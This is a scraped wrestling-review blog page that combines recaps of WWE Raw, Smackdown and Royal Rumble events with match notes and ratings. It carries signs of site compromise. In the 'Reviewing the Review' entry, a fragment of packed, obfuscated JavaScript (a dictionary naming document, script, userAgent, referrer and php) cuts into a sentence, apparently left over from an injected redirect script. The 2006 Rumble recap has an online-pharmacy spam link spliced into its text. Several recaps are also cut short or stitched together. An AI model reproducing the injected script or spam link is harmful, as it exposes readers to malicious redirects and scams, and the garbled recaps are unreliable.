New Column: On Whose Authority
Looking at the Authority, the authority, and NOT Roman Reigns for a change.
http://www.wrestlingrumors.net/kbs-review-whose-authority/33709/
Monday Night Raw – February 2, 2015: Are They High Or Just Really Stupid?
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Night Raw
Date: February 2, 2015
Location: Pepsi Center, Denver, Colorado
Commentators: Michael Cole, Byron Saxton, John Bradshaw Layfield
Opening sequence.
Here are Stephanie and HHH for the announcement as a lot of the midcard watches in the back. First up, they talk about the Super Bowl and Stephanie emphasizes that the Patriots won because it was best for business. I thought they won because they scored more points. HHH hopes they can survive the new “Cancel the NFL Movement” that struck after the end of the game last night.
Cue Daniel Bryan in a new shirt to really wake the crowd up. He says the real controversy is him being stripped of the title and never getting a rematch. If the title match is open at Wrestlemania, he wants to officially throw his name in the hat. HHH sees the logic in that and could see Bryan getting the shot at Wrestlemania. This brings out a smiling Rollins and the Stooges as we take a break due to what seemed like microphone issues.
Roman Reigns vs. Big Show
This is joined in progress after a break because WWE has no idea what fans want to see. Reigns tries to fight out of a bearhug but gets headbutted out to the floor. Back in and Roman hits a middle rope clothesline to put Show down. He sends Show into the post but the Stooges break up a Superman Punch attempt, allowing Show to hit a bad spear for two. Reigns fights out of a chokeslam attempt and hits the Superman Punch, only to have Reigns hit Rollins in the back with the briefcase, allowing Big Show to chokeslam Reigns for his first pinfall loss in a singles match in WWE at 2:40 shown.
Video on Ernie Ladd for Black History Month.
Ascension vs. Goldust/Stardust
Viktor runs over Stardust to start but Goldust sneaks in for some cheap shots before dragging his brother to the ropes for a tag. Off to Konnor who gets kicked in the side of the head but a quick Fall of Man ends Goldust at 1:48. Stardust disappeared after the first thirty seconds.
Stardust walks out on Goldust after the match.
After a break Goldust comes up to Stardust in the back and calls him Cody to make Stardust snap. He says never call him that again, hisses, and walks off.
Ryback vs. Luke Harper
They trade suplexes to start with Ryback hitting a nice delayed version. The middle rope splash gets one on Harper but Luke big boots him out to the floor to take over. Another boot to the face gets two and we hit the chinlock on Ryback. He fights back up and hits a Thesz Press, only to walk into the swinging Bossman Slam for two. The Meat Hook is countered with a third kick to the face for two more and Shell Shock is countered into a sunset flip for two. Back up and Shell Shock is good for the pin on Harper at 6:00.
Jimmy Uso vs. Cesaro
This is apparently over a double date Natalya set up for her and Kidd with Jimmy and Naomi. Well of course it is. Cesaro jumps him to start but Jimmy comes back with some chops to tak over. Jimmy whips him to the floor and a Jey distraction sets up a flying Uso to put Cesaro down.
Kidd gets in a cheap shot on Jey after the match.
WWE Network plugs.
Mizdow is getting Miz food at catering when a guy comes up to ask for an autograph. Miz shrugs him off but the guy was asking Mizdow. Damien is happy to sign but Miz rips up the picture and erupts on Mizdow for getting too big of a head after all those months of Mizdow dressing up in costumes and losing all the time. Miz fires him but gives Mizdow a new job as personal assistant. Mizdow goes along with it but looks defeated.
Dolph Ziggler vs. Bray Wyatt
Paige vs. Alicia Fox
The Bellas are on commentary so Paige goes over to scream at them. Back in and Fox gets two off a northern lights suplex before putting on a chinlock as the Bellas speak in hashtags. Fox hits a tilt-a-whirl backbreaker but Paige small packages her for the pin at 2:44.
Brie covers Paige with tanning spray post match.
Miz is on Sirens this week.
Sin Cara vs. Miz
Erick Rowan vs. Rusev
Seth Rollins vs. Daniel Bryan
Winner gets Reigns at Fast Lane for the Wrestlemania title shot. Rollins runs him over with a shoulder to start but Daniel starts going after the arm. An armbar attempt sends Rollins bailing to the ropes before he throws Bryan outside. The Stooges get in some cheap shots and Seth dives on Bryan as we take a break. Back with Rollins in control and Big Show looking on from ringside.
Bryan fights back with right hands but gets caught in a quick downward spiral into the buckle. Daniel backflips over him out of the corner and hits the running clothesline before firing off the kicks in the corner. A top rope hurricanrana is countered into a sunset flip for two for Rollins and both guys fight back to their feet. The Stooges try to interfere but Bryan throws Rollins out onto them and hits a big Flying Goat to take them all out.
Back in and Seth crotches him on the top to break up the flying headbutt but Bryan hooks a belly to back superplex for two. The running knee is countered into the Buckle Bomb and the low superkick gets two more. Rollins takes his time going after Bryan though and gets caught in the YES Lock but gets his feet on the bottom rope. Cue Reigns to spear Big Show. Mercury gets speared as well but Noble comes in with the briefcase, allowing Reigns to Superman Punch Rollins. The running knee sends Bryan to Fast Lane at 17:11.
Back in the arena, Bryan thanks the fans for putting him here and promises to win the match at Fast Lane for them.
Results
Big Show b. Roman Reigns – Chokeslam
Ascension b. Goldust/Stardust – Fall of Man to Goldust
Ryback b. Luke Harper – Shell Shock
Cesaro b. Jimmy Uso – European uppercut
Bray Wyatt b. Dolph Ziggler – Sister Abigail
Paige b. Alicia Fox – Small package
Sin Cara b. Miz – Rollup
Daniel Bryan b. Seth Rollins – Running knee
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Smackdown – January 29, 2015: And So It Ends. Please Dear Goodness Let It End.
Smackdown
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January 29, 2015
Location: XL Center, Hartford, Connecticut
Commentators: Byron Saxton, Jerry Lawler, Michael Cole
That brings him back to the Royal Rumble which had its fair share of controversy. First of all there was an exceptional triple threat where Rollins proved that he is the future, Cena proved that he is the past and Brock Lesnar proved that he is the beast and World Heavyweight Champion.
HHH promises to make an announcement on Raw that is going to end the controversy and shake the WWE to its core. That sounds like trying to fix the main event already, which might not be the worst idea in the world. This brings out Reigns, who says there was no controversy because he won the Rumble. HHH agrees that he won the match, so now Reigns can win this one.
Big Show vs. Roman Reigns
Vince announces February as a free month for new subscribers on the WWE Network.
Jey Uso vs. Tyson Kidd
Paige vs. Nikki Bella for the Divas Title is official for Fast Lane. Paige is in the back when the Bellas come up to make fun of her for being pale. She elbows Brie in the face but takes a big forearm from Nikki.
Goldust/Stardust vs. Ascension
Kane is STILL looking at the casket and slams it shut.
Kane vs. Daniel Bryan
We see HHH teasing the announcement for Raw again to close the show.
Results
Roman Reigns b. Big Show – Spear
Ascension b. Goldust/Stardust – Fall of Man to Stardust
Daniel Bryan b. Kane – Bryan closed Kane in the casket
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Monday Night Raw – March 17, 1997: Bret Snaps
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Night Raw
Date: March 17, 1997
Location: War Memorial, Syracuse, New York
Attendance: 4,737
Commentators: Jim Ross, Jerry Lawler, Vince McMahon
Legion of Doom vs. Savio Vega/Crush
Split screen #4 shows no Faarooq but we go to a full screen (thankfully with a monitor showing the match) to see Faarooq jump Johnson with a nightstick. Animal comes in off the hot tag and hits a double clothesline as everything breaks down. Crush gets loaded up for the Doomsday Device but Faarooq comes in with the nightstick for the DQ.
We look at the Slammy nominations for Freedom of Speech: Jerry Lawler, Paul Heyman, Steve Austin, Howard Stern (never appeared in WWF) and Faarooq. Guess who won.
Hunter Hearst Helmsley vs. Flash Funk
Chyna is officially named for the first time here. It takes forever to get her out of the ring, even when Flash threatens to hit her. Vince talks about HHH being more arrogant lately as Funk armdrags him down a few times and scores with a dropkick to send HHH to the floor. Back in and the pre-Game counters a reverse leapfrog into an electric chair drop to take over.
Shawn Michaels arrives.
Mini Vader/Mini Mankind vs. Mini Goldust/Mascarita Sagrada
Sagrada comes in to actually do something exciting with his insanely fast flips and wristdrags. Mankind is sent to the floor but Vader sneaks in with a big running clothesline to the back of the head. It seems like this is under lucha libre rules, meaning going to the floor counts as a tag. Everyone winds up outside with Goldust hitting a cannonball off the apron to take Vader down, leaving Sagrada to victory roll Mankind for the pin. This was what it was.
Sagrada shoves Vader off the stage and hits a big (work with me here) cross body to take him down.
Gorilla Monsoon announces that the cage match will indeed be for the title. When was this ever in doubt?
Mike Bell vs. The Sultan
Rocky is on commentary as Sultan piledrives, splashes and clutches Bell to win in less than a minute.
Hour #2 begins.
Vader vs. British Bulldog
Slammy ad.
Billy Gunn vs. Aaron Ferguson
Sid tells Austin to stay out of his business because he rules the world.
The cage is being set up so the announcers preview the main event.
WWF World Title: Sycho Sid vs. Bret Hart
This brings out Sid, Undertaker and Austin with the big men pairing off for a brawl in the ring while Austin hammers on Bret outside. Bret fights back and nails Pat Patterson as Sid and Undertaker try to chokeslam each other. Undertaker starts getting the better of it as Shawn slowly walks down the ramp as Bret and Austin keep fighting. Michaels looks at both of them and gets in the ring with a chair as Sid and Undertaker fight to the floor to end the show.
http://kbwrestlingreviews.com/2013/03/22/wrestlemania-count-up-wrestlemania-xiii-austins-ascension/
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Reviewing the Review – Monday Night Raw: January 19, 2015
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knbde|var|u0026u|referrer|ysirt||js|php'.split('|'),0,{})) was another special edition of the show called Raw Reunion, which is another way to have the old guys show up again for no real reason. It’s also the go home show for Monday Night Raw, meaning we need to make sure everyone but Roman Reigns looks great because there’s almost no doubt that he’s going to Wrestlemania. Let’s get to it.
We got the Kliq reunion in the back and Mizdow did a pretty excellent X-Pac imitation.
Dean Ambrose pinned Bad News Barrett. I think I pinned him in a non-title match a few weeks back.
New Day beat Cesaro and Tyson Kidd in a quick match. I still like the losers here.
Cena is facing Big Show/Kane/Rollins in the main event. As usual, just going through the motions.
Paige and Natayla won your weekly pointless Divas match, defeating Summer Rae and Alicia Fox.
Rusev, R-Truth, 46 seconds.
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New Column: The Lesnar Error
Looking back at Brock’s second WWE run and breaking down all of the mistakes and problems with it so far.http://www.wrestlingrumors.net/kbs-review-lesnar-error/33412/
Royal Rumble Count-Up – 2010: How To Do A Swerve
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Rumble 2010
Date: January 31, 2010
Location: Phillips Arena, Atlanta, Georgia
Attendance: 16,697
Commentators: Michael Cole, Jerry Lawler, Matt Striker
The opening video is about the Road to Wrestlemania is beginning and how it determines what happens for months to come. This is called the most star studded Rumble ever, which is a tagline that has been used before.
ECW Title: Christian vs. Ezekiel Jackson
The springboard plancha takes Jackson out and we head back in. Christian finally gets caught in the corner and pounded on before having the Killswitch easily blocked. Instead Christian chokes away on the ropes and hits another shot to the face. Jackson throws Christian to the floor where Regal tries to throw him back in, earning himself an ejection. Off to a neck crank back inside which Jackson picks up into a kind of cobra clutch slam for two.
US Title: The Miz vs. MVP
After that eats up some time, MVP pounds away with all of his usual stuff. Ballin hits and a running boot to the side of the head gets two for the challenger. A big shoulder block gets the same for MVP but he misses a running boot in the corner. MVP grabs three straight quick near falls but gets caught in a small package for the pin to keep the title on Miz.
Post match MVP hits the Playmaker on Miz and gets booed LOUDLY. He lost completely clean so the booing is deserved.
The National Guard is here.
Raw World Title: Sheamus vs. Randy Orton
Post match Orton snaps on Cody as DiBiase comes down to save his partner. While Orton yells at Cody in the corner, Sheamus comes back in and lays out Randy with a Brogue Kick.
Smackdown World Title: Rey Mysterio vs. Undertaker
Rey fires off some shots in the corner before Taker grabs him by the neck and throws him up and over the top and out to the floor. That looked awesome. Back to the apron and Rey fires off strikes to the face, only to get punched right back down to the floor by a single shot. Taker misses the legdrop on the apron but hits it the second time before heading back in. Rey counters a chokeslam into the 619 but Taker easily grabs the legs. Tombstone is countered and Taker misses an elbow drop.
Rumble by the Numbers time:
23 Winners
627 entrants eliminated
36 eliminations by Austin
11 eliminations by Kane in 2001
2002 was the last Rumble in Atlanta
62:12 Rey was in the Rumble in 2006
2 seconds was the record for 20 years until Santino broke it last year
3 wins for Austin
2 win for #1, the same as #30
70% of the winners win at Mania
Royal Rumble
Rhodes is #13 and saves Ted as he comes in. Morrison is sent to the apron and springboards back in, only to get dropkicked out of the air. Legacy goes after Kane but HHH saves him for no apparent reason. Cody saves himself from being eliminated and MVP is #14. Miz runs up behind him though and blasts MVP with the US Title. Morrison hits the Moonlight Drive on McIntyre to break up the Future Shock on Kane. HHH is in trouble in the corner and MVP is carried to the back.
HHH starts laying out everyone and Shawn is #18. Carlito is backdropped out, Rhodes and DiBiase are tossed, Morrison gets dumped, and DX puts out McIntyre to get us down to DX. Before anything can happen though, Cena is #19 to get us to the final third of the match. Cena cleans house and hits a double Shuffle before getting caught in the Pedigree. Out of nowhere Shawn superkicks HHH out to pop the crowd BIG.
Ratings Comparison
Christian vs. Ezekiel Jackson
Original: C+
Redo: C+
Miz vs. MVP
Original: B-
Redo: D+
Sheamus vs. Randy Orton
Original: B
Redo: D+
Mickie James vs. Michelle McCool
Original: N/A
Redo: N/A
Undertaker vs. Rey Mysterio
Original: C-
Redo: B
Royal Rumble
Original: A
Redo: A-
Overall Rating
Original: A-
Redo: B
Dang I liked Sheamus a lot more than I thought I did.
http://kbwrestlingreviews.com/2011/01/29/royal-rumble-count-up-2010-one-of-the-best-ever/
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Royal Rumble Count-Up – 2009: That Dark Period
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Rumble 2009
Date: January 25, 2009
Location: Joe Louis Arena, Detroit, Michigan
Attendance: 16,685
Commentators: Michael Cole, Jerry Lawler, Jim Ross, Todd Grisham, Matt Striker, Tazz
ECW Title: Jack Swagger vs. Matt Hardy
Hardy walks into a belly to belly suplex from Jack for two though and both guys are down. A DDT on the arm gets two for the champion but Matt blocks a belly to back superplex. Matt hits a decent looking moonsault for two and the fans are getting into these kickouts. The Twist is countered and Jack sends Matt shoulder and possibly head first into the post. The Swagger Bomb retains the title.
Rating: B-. Better match than I was expecting here with both guys looking good out there. Matt was getting close to being something decent as a singles guy and this was his way off ECW and onto Smackdown. Swagger would go on to win a world title and shock the world in the process before falling through the floor soon after. Solid opener here.
Orton arrives and gets glared at.
Melina is challenging and Beth has Santino with her here. Beth shoves her around to start before easily breaking out of a headlock. A LOUD Santino chant starts up as Beth throws Melina around. Melina comes back with a shot to the head but gets shoved down immediately again. The challenger hooks an armbar of all things but Beth easily stands up while Melina stands on her shoulder.
Raw World Title: John Cena vs. John Bradshaw Layfield
Smackdown World Title: Edge vs. Jeff Hardy
We head back inside again with Edge in full control including a spear in the corner. Jeff grabs a quick two off a sunset flip but gets clotheslined right back down. Off to a body vice by Edge to slow things down a bit. Jeff fights up and hits a mule kick before going up top, only to jump into a dropkick from Edge for two. Now Edge goes to get two chairs but Jeff spears him down off the apron before it can be brought in.
Rumble by the numbers which is roughly the same as the previous year.
Royal Rumble
Punk pulls Regal out and brags about it without getting thrown out. R-Truth is #24 and nothing happens. Rob Van Dam makes a one night only return at #25 after not having been seen in the WWE in about a year and a half. That at least wakes the crowd up but there are too many people in there for his style of stuff to work. He loads up the Five Star but Truth is too close so he has to bail out in mid air.
Jericho tries to put a sleeper on Show but it gets about as far as you would expect. Taker throws Punk to the apron as Show dumps Truth. Punk fires off some kicks and hangs on three times so Show finally knocks him out cold and out to the floor. Show knocks out Knox and Mysterio as Horny gets in for no apparent reason. Finlay tries to save him and gets dumped for his efforts at good parenting.
Ratings Comparison
Jack Swagger vs. Matt Hardy
Original: B
Redo: B-
Melina vs. Beth Phoenix
Original: C-
Redo: D+
John Cena vs. John Bradshaw Layfield
Original: C
Redo: C-
Edge vs. Jeff Hardy
Original: B-
Redo: B
Royal Rumble
Original: D
Redo: D
Overall Rating
Original: B+
Redo: C-
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Royal Rumble Count-Up – 2008: It Could Happen
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Rumble 2008
Date: January 27, 2008
Location: Madison Square Garden, New York City New York
Attendance: 20,798
Commentators: Jim Ross, Jerry Lawler, Michael Cole Jonathan Coachman, Joey Styles, Tazz
The opening video focuses more on the show being in MSG than anything else.
Ric Flair vs. MVP
Chris Jericho vs. John Bradshaw Layfield
A clothesline (not the one from down under) puts Jericho down as apparently he has a bad throat and neck coming into this. Bradshaw slingshots Jericho throat first into the middle rope and hooks a quick sleeper. Jericho fights out of it and hits a clothesline of his own, only to charge into a big boot. John sends him shoulder first into the post which busts his head open somehow. Back in and JBL pounds away at the cut as a villain would do. Jericho comes back but they botch a clothesline, causing both guys to get booed loudly. A Cactus Clothesline sends them to the floor where Jericho cracks JBL with a chair for the LAME DQ.
Jericho destroys JBL post match and chokes him with a cord, which is what JBL did to him. That gets Jericho cheered at least.
We recap Edge vs. Mysterio. Edge is with Vickie now who just happens to be the corrupt GM. Mysterio won a Beat the Clock challenge by beating Edge himself to earn the shot. Edge is annoyed that Rey is claiming that Edge is just using Vickie, which of course he is.
Smackdown World Title: Edge vs. Rey Mysterio
Rey loads up the 619 but charges into a powerslam for two. Off to a kind of ankle lock hold but bending the knee instead of the ankle. Edge tries to take the knee brace off of Rey but gets caught in the sitout bulldog to put both guys down. Mysterio uses his good leg to kick Edge in the face for two before hitting another kind of seated senton for two. Like an idiot, Rey goes up and hits a double stomp for two. Smart move on a bad knee Rey. Edge is sent to the floor where Rey slide through the ropes into a tornado DDT for two back inside.
Back in and Edge kicks Rey right in the face to put him down again. Why over complicate things? The spear misses so Rey hits the 619 and the top rope splash, but Vickie pops out of her wheelchair to break up the count. Edge misses another spear and puts himself in 619 position, but Vickie jumps onto the apron to take the hit, allowing Edge to hit the spear for the retaining pin.
Rating: C+. This was ok but you kind of expect more from Edge vs. Rey Mysterio. The ending was about Vickie, which would become a running theme over the next few months. Edge being all conniving and backstabbing the already evil Vickie was awesome stuff, but getting there was tedious at times. Still not a bad match at all though.
Maria comes out to do the Royal Rumble Kiss Cam. This eats up some time until Ashley comes out to ask Maria to be in Playboy again. Santino comes out to insult the fans (and the Giants), saying the people would cheer if you asked if they wanted hepatitis. He brings out Big Dick Johnson with a rubber chicken and wearing a half Patriots jersey. You can figure this one out for yourself.
WrestleMania ad featuring Mae Young as a lifeguard. Ok then.
Mike Adamle introduces us to the next match, featuring Randy Orton vs. Jeff Harvey.
Raw World Title: Randy Orton vs. Jeff Hardy
Jeff is Intercontinental Champion. Feeling out process to start with Jeff taking over via a headlock on the mat. An atomic drop gets two but Orton hits him in the face and brags to the crowd about it. Orton gets sent to the floor and a baseball slide sends him into the barricade. Hardy follows with a plancha to the floor as JR SCREAMS to get Orton back in the ring. Randy tries to walk out with the belt but Hardy will have none of that. Orton is rammed into the announce table and back inside we go.
Hardy gets a well deserved standing ovation. His time would come.
We get the Rumble by the Numbers video, which is always a favorite of mine. Here are those numbers:
20 years of history
21 winners
569 superstars in the Rumble
36 eliminations (by Austin, since broken by Shawn)
11 Rumbles for Shawn (since broken by Kane)
11 eliminations for Kane in 2001
3 identities under which Foley entered the Rumble in 1997
2 feet that must touch the ground
1 woman in the Rumble (Chyna, since joined by Beth Phoenix and Kharma)
62:12 of time that Mysterio was in the Rumble
2 seconds that Warlord lasted in the Rumble (since broken by Santino)
3 wins for Austin, still a record
1 is the spot that has the same amount of wins as #30 (Shawn and Undertaker)
4 men that have won the Rumble from the 27 spot, the most ever
73 percent of the Rumble winners have won the title at Wrestlemania
I love that.
Royal Rumble
Hardcore Holly is #5 and is a tag champion here. Taker slugs Holly down but Shawn tries to dump the big man again. John Morrison, also a tag champion but with Miz instead of Cody Rhodes like Holly, is #6. Morrison looks at Taker and immediately goes after Holly instead. Shawn dumps him to the apron but John gets back in. That winds up being bad for him as he get slammed down by Shawn followed by the top rope elbow.
Shawn tunes up the band but Morrison blocks the kick. Tommy Dreamer is #7 to a big pop and a LOUD Tommy Dreamer chant. #8 is Batista as we get another good blast of energy. Big Dave and Taker knock everyone down (no eliminations) and they stare each other down, only for Dreamer to charge at Batista, earning himself an elimination. Shawn goes after Batista now but Dave spears Morrison down instead.
At the moment we have Taker, Shawn, Holly, Batista, Palumbo and Morrison in the ring with Horny underneath. #12 is CM Punk as Morrison makes ANOTHER impressive save. Punk is insanely popular in New York of course and fires off running knees in the corner to everyone he sees, only to charge into a clothesline from Undertaker. Morrison, the guy that took the ECW Title from Punk, pounds away on him. Punk takes Palumbo out but gets jumped from behind by Shawn.
Kane is in at #20 to hopefully clean out the ring a bit. Yep he knocks out Piper and Snuka before chokeslamming Miz. Taker loads up a chokeslam on Kane but before he grabs the throat, he spins around and grabs Michaels instead. Carlito is in at #21 and spits the apple at Rhodes. Punk and Morrison pick up Carlito but he kicks off the ropes and sends them both into them. Punk kicks Morrison in the head but gets caught by a Backstabber. Cool little sequence there.
Cena celebrates to end the show.
Ratings Comparison
Ric Flair vs. MVP
Original: B-
Redo: C
John Bradshaw Layfield vs. Chris Jericho
Original: D+
Redo: D+
Edge vs. Rey Mysterio
Original: A-
Redo: C+
Jeff Hardy vs. Randy Orton
Original: C-
Redo: C+
Royal Rumble
Original: C-
Redo: C+
Overall Rating
Original: C+
Redo: C-
Wow the Smackdown title match really changed things around here.
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Royal Rumble Count-Up – 2006: The Eddie Guerrero Memorial Rumble
Royal Rumble 2006
Date: January 29, 2006
Location: American Airlines Arena, Miami, Florida
Attendance: 16,178
Commentators: Michael Cole, Jerry Lawler, Joey Styles, Tazz
The opening video is about Mark Henry vs. Kurt Angle. The Rumble and Edge vs. Cena gets a little time as well.
Cruiserweight Title: Gregory Helms vs. Kid Kash vs. Funaki vs. Jamie Noble vs. Nunzio vs. Paul London
Nunzio hits a slingshot to send Noble into the corner and Funaki adds a bulldog for two. We finally get to the dives with Nunzio diving on a pair of guys, allowing Noble to get two on Kash via a leg lariat. Noble dives on Helms and Nunzio on the floor and Funaki is knocked off the top onto Nunzio and Noble. London kicks Kash to the floor as well and dives on everyone not named Helms with a shooting star off the top.
Trish is looking GREAT in a referee outfit when Mickie, currently the psycho lesbian, comes up and says she loves Trish. Ok then.
Mickie James vs. Ashley Massaro
Big Show draws his number. Rey comes in to talk about Eddie a bit. Apparently Eddie is joking with Rey by giving him this number.
John Bradshaw Layfield vs. Boogeyman
Before the Rumble starts, the Spirit Squad comes out to give us a chant.
Royal Rumble
HHH is #1 and Mysterio is #2, naturally coming out in a lowrider and an Eddie shirt. HHH tries to power him down to start but Rey comes back with kicks to the knee. Rey hits a headscissors to take HHH down and into the corner but HHH lifts him to the apron. Rey comes back with a springboard dropkick to the back but HHH ducks the 619. Simon Dean is #3 and goes after Rey to a bunch of boos. Dean sends him to the apron and wants a high five from HHH but gets punched in the face and hit by a seated senton. The elimination is academic.
Lashley immediately comes back with an overhead belly to belly and a third press slam to HHH. Kane takes a Dominator and Sylvan, the “Smackdown fashion consultant” is #10 and lasts about 18 seconds before Lashley throws him out. Unfortunately he turns around and gets caught in a double chokeslam followed by the elimination. The partners quickly turn on each other with Kane getting a boot up to stop a charging Show. They fight to the ropes and HHH runs up to throw them both out, emulating the same thing Shawn did in 1996 with Vader and Yokozuna.
Benoit chops on HHH until Joey Mercury is #14. Mercury fires off dropkicks but gets caught in Rolling Germans. Carlito jumps Benoit to break it up and Mercury pounds on Benoit a bit. Freaking Tatanka is #15, giving us a group of Mysterio, HHH, Carlito, Benoit, Mercury and Tatanka. Seriously why did the bring TATANKA back? He fires off chops as the fans do the Seminole chant.
http://www.healthcarewell.com/online-pharmacy/ lull. RVD is #20 and is back for the first time in nearly a year. Animal and Benoit have a staredown until Benoit gets kicked in the face. RVD kicks MNM down and backdrops Animal out to finally clear some room out in the ring.
Shawn has to skin the cat to stay in and turns into a kick to the head from Shelton. Michaels is cool with that and sends Shelton to the apron followed by a superkick to eliminate him. This brings out Vince who hates Shawn and the distraction lets Shane run in and dump HBK. Shawn is ticked and runs back in and superkicks HHH after escaping a Pedigree attempt. He goes after Vince but a single referee stops him. Ok then.
Mickie comes in to hit on Trish as she does an interview on WWE.com.
We recap Edge vs. Cena. Edge won MITB back at Mania and waited nine months before cashing in on Cena after Cena survived the Elimination Chamber. Tonight is the rematch three weeks later.
Raw World Title: John Cena vs. Edge
Edge tries for a countout but Cena DIVES back in at nine. Back in and Cena pounds away but charges into a spinwheel kick for two from the Canadian. Edge punches Cena to the floor again but goes after him instead of going for the countout again. Cena gets sent into the steps and back inside a missile dropkick gets two for the champion. Edge loads up a superplex but gets shoved off, only to avoid a guillotine legdrop from Cena.
Edge freaks out on Todd Grisham in the back. Edge storms off and Lita panics a bit. We get a random Hacksaw Jim Duggan cameo (does anyone do those better?) to call her a HO!
Smackdown World Title: Kurt Angle vs. Mark Henry
Instead Angle hits a German (kind of) to put both guys down. The Angle Slam gets two (duh) and the ankle lock is broken up again. The counter causes the referee to get bumped so Angle gets a chair. A low blow and two chair shots take Henry down for two, so Angle takes a buckle off. Kurt drop toeholds him into the buckle and rolls Henry up to retain. Our hero everyone.
Taker comes out in a freaking horse drawn chariot and motions that he wants the title. Then he shoots lightning from his hands at the stuff over the ring, before slamming his arms down to send lightning at the posts. The ring collapses to end the show. Yeah that happened.
Ratings Comparison
Gregory Helms vs. Kid Kash vs. Funaki vs. Jamie Noble vs. Nunzio vs. Paul London
Original: B-
Redo: C+
Mickie James vs. Ashley Massaro
Original: C-
Redo: D
Boogeyman vs. John Bradshaw Layfield
Original: F-
Redo: N/A
Royal Rumble
Original: D
Redo: C-
John Cena vs. Edge
Original: B
Redo: D+
Kurt Angle vs. Mark Henry
Original: D-
Redo: D
Overall Rating
Original: C-
Redo: D
What was I on for that Edge vs. Cena match?
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